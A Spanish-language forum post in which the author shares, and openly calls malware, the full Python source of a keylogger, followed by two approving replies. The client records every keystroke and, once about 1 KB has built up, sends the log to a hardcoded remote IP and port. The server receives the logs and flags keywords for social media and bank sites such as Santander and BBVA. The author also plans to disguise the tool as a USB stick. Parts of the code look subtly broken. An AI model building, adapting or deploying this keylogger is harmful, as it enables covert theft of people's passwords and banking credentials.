Hola mi nick es Zackonit y he estado desarrollando un keylogger que detecta palabras clave como facebook,twitter,pornhub ETC.
Del lado del servidor ,que seria mAT-Trackv1.py es quien recibe los datos del vector1 que funciona cuando el mismo llena con sus tecleos a un 1kb o puedes modificarlo sea tu caso. Tambien subire como reprogramarlo en una PIC de microcontrolador para que finga ser una memoria usb pero eso es despues xD.
Para poder ejecutarlo seria excitar el Servidor -> python3 mAT-Track.py -v 192.168.x.x -t 8080 -l 2 -f file_system
que seria -v el vector principal o sea tu direccion ip
-t el puerto con que quieres hacer el tunel de conexion
-l las conexiones que quieres tener
-f el nombre del archivo que quieres ver
https://github.com/Zackonit/mAT-Track
CABE DESTACAR QUE EL MODULO LEDs es mi libreria de colores xD jeje
DESPUES SUBIRE OTRA ACTULIZACION DE ESTE MALWARE PARA QUE SEA MAS COMODO ,EMPLEARE UNA INTERFAZ GRAFICA POR QUE
HASTA AMI ME DUELEN LOS OJOS DE USAR TODO EL DIA LA CONSOLA XD
import socket,threading
from LEDs import matrix_photons
from time import strftime
import optparse,sys
vectorBreakpoint = ['www.facebook.com','www.twitter.com',
'www.reddit.com','www.pornhub.com',
'www.santander.com','www.bancomer.com',
'www.bbva.com',"face","twi","ban"]
class threadingConnections:
def intervalSocket(self,ipVector,target,lkive,file_system):
self.socket_Family=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.file_system=file_system
self.socket_Family.bind((ipVector,target))
print(strftime('[%I:%M:%S] ')+'AF_INET: '+ ipVector,'target:',target,'\n',self.socket_Family)
self.socket_Family.listen(lkive)
self.connections,self.system_Addr=self.socket_Family.accept()
print(strftime('[%I:%M:%S] ')+"intercept: %s Country: %s range: %s size:kbs(4b)" %(self.system_Addr[0],"Mexico","4"))
self.info_size=self.connections.recv(2**10).decode("utf-8")
def intoxicateFile_system(self,hexabytes=4096):
with open(self.file_system,'w') as self.bytes_k:
self.bytes_k.write(self.info_size)
self.bytes_k.close()
with open(self.file_system) as x:
for line in x:
for fx in vectorBreakpoint:
if fx in line:
msg=strftime('[%I:%M:%S] ')+"Intercept: %s in %s Country: %s" %(fx,self.system_Addr[0],"México[MEX]")
msg=str(msg)
matrix_photons.matrix_reaction(True,msg,"w")
print(self.socket_Family)
y=input("[*]Watch Information(Y/N): ")
if y == 'y'.upper():
print(self.info_size)
else:
self.socket_Family.close()
sys.exit()
args=optparse.OptionParser()
args.add_option("-v","--ip",dest="ipVector",help="Example: 192.168.1.x")
args.add_option("-t","--target",dest="target",type="int",help="Example: target=8080")
args.add_option("-l","--live",dest="lkive",type="int",help="Example: listen(2)")
args.add_option("-f","--filesystem",dest="file_system",help="Example: args(0)")
(options,arguments) = args.parse_args()
ipVector = options.ipVector
target=options.target
lkive=options.lkive
file_system=options.file_system
if __name__ == "__main__":
threadsSTREAM=threadingConnections()
if ipVector == None and target == None and lkive == None and file_system==None:
print("Error: Not parameters in function f(x)")
else:
threadsSTREAM.intervalSocket(ipVector,target,lkive,file_system)
threadsSTREAM.intoxicateFile_system()
import socket,os,sys
from pynput.keyboard import Listener
class keywor0ds_Ward:
unicodeGlobal = ["UTF-8"]
root = "CryptWin.txt"
limit_kilobytes = 1000 # 1kb or 1 kilobyte
Dark_address, tunnel_port = "192.168.1.72",8080
# si el token es 1 entoces se abre la conexion
# el logger se transforma en string
# abre el archvio y escribe sobre el
#se cifra el archivo
#toma captura de la pantalla
#envia el archivo cifrado
class AsignMasterCipherIV:
def masterCipher_logger(self,logger):
xyzIV = str(logger)
xyzIV = xyzIV.replace("'","")
with open(root,"a") as k:
k.write(xyzIV)
if os.stat(root).st_size >= limit_kilobytes:
DarkSocket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
DarkSocket.connect((Dark_address,tunnel_port))
with open(root,"r") as rootRead:
digitalBytes = rootRead.read()
DarkSocket.send(bytes(digitalBytes.encode(keywor0ds_Ward.unicodeGlobal[0])))
sys.exit()
else:
pass
if __name__ == "__main__":
handler_master=AsignMasterCipherIV()
with Listener(on_press=handler_master.masterCipher_logger(True)) as MultiWriter:
MultiWriter.join()
Se ve muy bueno, y esta hecho en Python, lo cual lo hace mucho mejor!!
Muchas gracias por compartirlo!!
Saludos,
ANTRAX
Que esté desarrollado en Python le da más seguridad y facilidad ya que en la red no hay tanta info de este tema.....todavía.
Zack te felicito